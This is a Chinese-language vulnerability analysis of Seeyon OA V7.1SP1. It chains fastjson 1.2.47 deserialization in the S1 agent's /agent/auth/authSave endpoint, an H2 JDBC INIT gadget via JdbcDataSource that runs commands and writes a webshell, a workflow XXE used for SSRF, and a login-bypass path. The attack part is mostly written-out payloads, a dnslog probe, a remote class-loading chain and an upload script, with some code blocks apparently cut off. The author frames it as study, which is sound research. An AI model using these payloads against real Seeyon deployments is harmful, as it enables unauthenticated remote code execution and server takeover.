漏洞环境
V7.1SP1
漏洞分析
S1 fastjosn前台反序列化分析
致远的S1服务可以管理致远oa的启动和重启以及一些配置。从V7.1到V8.1SP2,S1的架构从C/S结构改为B/S结构,也就是可以通过浏览器访问,默认开启60001端口,内网访问。
在致远安装目录下的S1文件夹有一个Agent.jar
,将其反编译可以看到S1的源码。
在lib
目录下可以看到S1
服务的一些依赖,可以发现fastjson 1.2.47
fastjson 1.2.47
是存在反序列化漏洞的
在jd-gui
全局搜索parseObject
关键字
找到com.seeyon.common.controller.AuthorityFilterController
这个类的authSave
方法
1 |
|
在60行会将auth
通过fastjson从字符串解析成对象,并且参数是从request
请求中获取的。没有看到鉴权,也就是可以通过构造auth
参数可以直接通过fastjson
反序列化漏洞RCE
。
1 | String auth = request.getParameter("auth"); |
直接访问/auth/authsave
路由会返回404
因为在BOOT-INF.classes.config.application.properties
中指定了agent
前缀
所以需要访问
http://localhost:60001/agent/auth/authSave
没有启动oa的情况下会报如上错误
因为在54
行做了检测
启动oa再访问
接下来通过如下payload探测fastjson漏洞是否存在
1 | {"@type":"java.net.InetSocketAddress"{"address":,"val":"zuw92x.dnslog.cn"}} |
直接将payload url编码后进行提交
这里通过报错信息盲猜需要对payload
进行base64
编码,再次提交,dnslog收到请求。
在出网的情况下,可以直接使用JdbcRowSetImpl
这条链直接远程加载恶意类直接RCE。
1 | { |
fastjson 配合h2
利用链实现不出网利用
但是很多时候,遇到的都是不出网的情况。从pockyray
师傅那了解到fastjson
可以通过h2
利用链实现不出网利用。
要知道fastjson
在使用parseObject
将字符串反序列化成对象的时候,会默认调用该对象的无参构造方法
、setter
、getter
方法。
所以说只需要在h2依赖中找到一个类,然后这个类中的静态代码块
、无参构造方法
、setter
、getter
调用了一些恶意方法或者一些危险的操作,就可以利用fastjson
反序列化实现自动调用。。
既然是通过fastjson
反序列化h2
依赖中的类,那就先来看看h2
中执行命令的几种方式。
通过p牛发的h2命令执行的文章https://wx.zsxq.com/dweb2/index/topic_detail/185285425815252,`H2`可以通过`CREATE ALIAS`自定义函数执行命令
1 | CREATE ALIAS shell AS $$void shell(String s) throws Exception { |
但这种方式仅适用于可以执行多条语句的场景。
但是大部分实际情况下,用户只能控制到JDBC的URL。URL中支持的一个配置 INIT ,INIT 这个参数表示在连接h2数据库时,仅支持执行一条初始化命令。
1 | jdbc:h2:mem:test;MODE=MSSQLServer;INIT=RUNSCRIPT FROM 'http://127.0.0.1/test.sql' |
在出网的情况通过RUNSCRIPT FROM 'http://127.0.0.1/test.sql'
test.sql如上语句执行代码。目的是为了绕过只能执行一条语句的限制,但是我们需要解决的是不出网利用,所以明显不适应。
如果要想实现不出网利用,可以使用Groovy
的方式,但是需要有Groovy
依赖
1 | jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS shell2 AS |
遗憾的是S1中没有看到Groovy
的依赖。
最后文章中说了一种无额外依赖的任意命令执行方法
使用CREATE TRIGGER
自定义函数的时候,可以使用//javascript
指JavaScript脚本执行。
payload
1 | jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON |
但是org.h2.schema.TriggerObject@loadFromSource
的方法和S1中h2
的方法并不一样
h2-2.2.220.jar
可以通过如上payload执行代码的版本的org.h2.schema.TriggerObject
方法
1 | private Trigger loadFromSource() { |
S1依赖中h2-1.4.193.jar
的org.h2.schema.TriggerObject
方法
1 | private Trigger loadFromSource() { |
没有了return (Trigger) compiler.getCompiledScript(fullClassName).eval();
这条语句,也就意味着,不能通过最后一种方法执行命令,也没戏。
我问了伊雷利亚
师傅,师傅反问我为什么要用为什么大家只能用runscript,是有什么限制么?
,我说只能执行一条语句
,师傅反问真的只能执行一条语句嘛
。
于是我跟了一下通过控制JDBCURL
执行命令利用点
调用链
1 | org.h2.server.web.WebApp#process |
在org.h2.server.web.WebServer#getConnection
方法中
1 | Connection getConnection(String var1, String var2, String var3, String var4) throws SQLException { |
这个方法是通过用户名密码
和JDBCURL
去获取一个Connection
对象的方法,如果JDBCURL
中开头为jdbc:h2:
,则调用Driver.load().connect(var2, var5)
。
Driver.load().connect
是一个public
方法,我们在本地构建一下命令执行的参数进行调用。
1 | final Properties properties = new Properties(); |
会报一个URL format error;
的错误。问了伊雷利亚
师傅,需要对;
进行转义。
1 | String url = "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS shell AS $$void shell(String s) throws Exception {\njava.lang.Runtime.getRuntime().exec(s)\\;\n}$$\\;\nSELECT shell('cmd /c calc.exe')\\;\n"; |
执行
计算器真的蹦出来了。之前文章中写的INIT
后面写的只支持一条语句,在h2-1.4.193
这个版本貌似没有限制。
INIT
后面的语句是通过org.h2.engine.Engine#openSession
方法中prepareCommand
执行的。据伊雷利亚
师傅说是支持多语句执行的。
所以,目前已经在h2-1.4.193
找到了执行命令的方法,是通过调用Driver.load().connect(url, properties)
方法,控制url参数来执行命令。
JdbcDataSource
在org.h2.jdbcx.JdbcDataSource
这个类中getJdbcConnection
方法中
我们同样看到了Driver.load().connect
。并且还是getter
方法,满足了fastjson
反序列化自动调用的条件。
在fastjson 1.2.47
中,使用如下payload
触发反序列化
1 | {"@type":"com.alibaba.fastjson.JSONObject",{ |
但是执行并不会蹦出计算机,原因是该payload在fastjson 1.2.47
下只能会调用静态代码块
、无参构造
以及setter
方法
还需要给payload 加上,就会自动调用getter
方法了
1 | "language":{"@type":"java.lang.String"{"$ref":"$"} |
最终fastjson
调用JdbcDataSource
的蹦计算器的payload
如下
1 | {"@type":"com.alibaba.fastjson.JSONObject",{ |
加载字节码 payload
1 | {"@type":"com.alibaba.fastjson.JSONObject",{ |
坑点:只能打一次
向致远web路径写入shell payload
1 | {"@type":"com.alibaba.fastjson.JSONObject",{ |
最后只需要将如上payload 进行base64编码,往S1
/agent/auth/authSave
接口发,即可实现不出网getshell
致远 工作流XML外部实体注入 分析
我们都知道S1
服务是开在内网的,致远OA是可以远程访问的,都是在同一台服务器上。而/agent/auth/authSave
接口是可以get
方式提交payload
。所以只需要在致远中找到一个XXE
外部实体注入打SSRF
就可以实现组合利用了。
可以通过工作流XML外部实体注入漏洞安全补丁
补丁
在7.1sp1环境下
补丁分析
在com.seeyon.ctp.workflow.util.ImExportUtil
的createImportMap
方法中发现差异
可以看到,没打补丁前,直接创建了SAXReader
对象并调用了read
方法,将file
对象传入进去。未做任何处理直接传参,可通过控制文件内容实现外部实体注入。
xxe 实现SSRF payload
xxe5.txt
1 |
|
已经确定可以通过如上payload触发SSRF,接下来只需要找到利用该漏洞的source
。
漏洞利用点是在com.seeyon.ctp.workflow.util.ImExportUtil
的createImportMap
方法中,需要files
变量可控。接下来找到createImportMap
被调用的地方。
createImportMap
在com/seeyon/ctp/workflow/manager/impl/WorkflowInnerApiManagerImpl
中有两处调用。
在com/seeyon/ctp/workflow/manager/impl/WorkflowInnerApiManagerImpl#importWorkFlow
方法中
该方法接收了一个files
数组,便调用了ImExportUtil.createImportMap(files)
方法。
importWorkFlow
在com/seeyon/ctp/workflow/wapi/WorkflowApiManagerImpl#importWorkFlow
中被调用
com/seeyon/ctp/workflow/wapi/WorkflowApiManagerImpl.importWorkFlow
在com/seeyon/ctp/workflow/designer/controller/WorkFlowDesignerController.class
中被调用
1 | public ModelAndView importProcess(HttpServletRequest request, HttpServletResponse response) throws Exception { |
如上代码首先是从request
请求对象中获取上传的文件fileItem
,再创建一个tempImportFile.zip
压缩文件,再将fileItem
写入tempImportFile.zip
中,接着再创建一个tempImportFileDir
目录,将tempImportFile.zip
压缩包内文件挨个写入到tempImportFileDir
目录下,在这个过程中,调用了this.workflowApiManager.importWorkFlow((new File(tempDir.getAbsolutePath())).listFiles());
将tempImportFileDir
目录下所有文件作为参数调用了workflowApiManager.importWorkFlow
方法进行处理。仅接着调用ImExportUtil.createImportMap(files)
方法,最后再调用SAXReader.read(file)
处理上传的压缩包内的文件,压缩包内中的文件内容,我们可控,所以才产生了XXE漏洞。
最后通过spring-workflow-controller.xml
中的路由/workflow/designer.do
指定method
参数为importProcess
可调用到com.seeyon.ctp.workflow.designer.controller.WorkFlowDesignerController
方法
整个调用链如下
1 | /workflow/designer.do |
最后,只需要将我们的 xxe 实现SSRF的payload,保存成txt,并压缩成zip文件,通过/workflow/designer.do
上传。
1 |
|
上传脚本
1 | import requests |
构造SSRF攻击S1服务Payload
通过以上对致远工作流XML外部实体注入
的分析利用,已经可以 xxe 实现SSRF请求dnslog了,最后,只需要将fastjson的前台反序列化利用payload 进行组合,得到最终的xxe payload。
1 |
|
提交,停顿一会,就会在致远的ROOT
路径下生成webshell。
当然,致远的/workflow/designer.do
接口是需要登录才能访问的。
在致远7.1SP1
这个版本,可通过/seeyon/autoinstall.do/..;/workflow/designer.do
绕过登录权限校验实现前台RCE,具体原理暂时就先不分析。
总结
这次分析的致远这套组合拳漏洞利用单从实战上来说,目前能打的只有在内网了。不过从学习的角度来说,确实能让我这个审计新手能学到了很多。分析的时候遇到的许多问题,如fastjson 打 h2 的利用链这条链,也是多亏pockyray
师傅的指点迷津,才能迎刃而解,感谢师傅。